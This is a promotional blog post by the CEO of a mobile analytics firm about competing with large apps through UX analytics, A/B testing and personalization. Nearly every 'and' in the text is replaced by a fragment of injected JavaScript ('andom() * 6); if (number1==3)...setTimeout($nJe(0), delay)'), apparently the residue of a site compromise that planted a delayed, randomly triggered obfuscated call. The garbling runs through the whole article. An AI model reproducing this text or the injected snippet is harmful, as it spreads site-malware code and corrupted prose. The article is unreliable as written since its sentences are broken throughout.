14Jun

Know your Mobile App Competition

The world of Apps is a world where competition is fierce! With over 1.5 million apps in each of the major App Stores andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands of new ones appearing every other day, chances are that there are already many Apps out there trying to do exactly the same thing as you do.

Depending on your field, your might immediately think about a handom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andful to a dozen of direct contenders, if not more. But I would argue that none of those are your App’s fiercest challengers. Your most dangerous competitors in the Mobile world are… Facebook, Twitter, Uber andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and AirBnB –even if you are not in the social network, transportation or hospitality business!

Your most dangerous competitors on Mobile are… Facebook, Twitter, Uber andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and AirBnB!

Why?

 

  1. Because they compete with you for user attention (think social networks!) andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and therefore limit the amount of time your users can dedicate to your App. 79% of mobile users’ time is spent on 5 Apps
  2. Because they keep setting new standom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andards for what should be an optimal User eXperience (often referred to as “UX”). Whether you like it or not, your App will be compared to (andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and rated vs.!) these juggernauts.
  3. Because with armies of developers, designers andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and sophisticated proprietary tools (like Airlock for Facebook, Clutch.io for Twitter etc…), they will churn UI improvements, feature optimization andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and new gimmicks every month, every week or even faster. They keep optimizing andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and iterating much faster than you ever dreamed possible of…

You can win this battle but it requires a new way of thinking andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and new tools

Before you get completely discouraged, you should know you can fight andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and win this battle. But it requires a new way of thinking your App roadmap, a true Test andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Learn strategy andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and new tools to make your App much more agile than today.

    • First andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and foremost, you need to perfectly understandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and how each andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and every one of your users are not only using but also interacting with your App. By this I mean of course which page they are viewing andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and which button they are activating andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and how they are navigating throughout your App. But to set yourself apart, you need to go one step beyond. You should be able to identify which gestures were completed by your users, where they successfully (or not) activated certain controls andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and where they hesitated for too long or obviously got lost on a view of your App.
      This can be achieved through a new category of tools called UX Analytics like AppSee or Azetone. (disclosure – I am the CEO andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and co-founder of Azetone)
    • Second, you need to make the Test & Learn approach your daily motto. As Hakan Forss, Agile Coach at King (the makers of Candom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andy Crush), at least 50% of your assumptions will not lead to the expected result! This means not only should you test everything you may have doubts about but you should also test what you are pretty sure is working well. Half of the time, you may be proved wrong! It used to be that testing different variants of a mobile App was difficult. You had to tag your App andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and embed the different variations into the App before posting it to the store. WIth the latest generation of mobile A/B Testing tools like Apptimize or Azetone, you can add, remove or change elements of an App even after it has been posted andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and a Visual Editor can help you change any UI element of an App with no prior tagging andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and even if you have no technical background (see example below)

  • Third, you need to truly leverage the fact that you have never known so many things about your customers since they started using Mobile Apps. Users are easily andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and permanently traceable andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and will very often be namely identified once they log in (once andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and for all) into your App. This means you can easily target UX analysis or A/B test by user group andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and (if your solution can do it) even leverage the segments you have previously defined in your CRM, DMP or Push Notification systems. But ultimately, this opens the door to not only super-optimize your app by customer profile but mostly to personalize the entire in-App user experience based on user criteria but also any context, location or behavior event. This means creating Apps that are no longer the static, one-size-fits-all Apps we mostly know today but customized, personalized andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and highly relevant App that will take Mobile Apps to whole new levels of satisfaction, efficiency andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ultimately ROI! From the get-go, Azetone at the forefront of this new wave of Personalized Apps.

Make your customers your “Chief Mobile Officers”

In short, you may not have the hundred or thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ands of developers that work for the largest mobile players andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and or the multi-billion budgets of some well-known juggernauts but using some advanced tools can definitely make you much more agile, a fast learner andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and most importantly a mobile-customer-first organization where your customers help you create better mobile experiences (both for them andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and for you!) andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and where they effectively become your “Chief Mobile Officers”.

Philippe Dumont is CEO at Azetone, a new leader in Mobile Optimization andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Personalization. He is also an active Board Member of the Mobile Marketing Association in France where he heads the Mobile Apps andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Webapps Workgroup.

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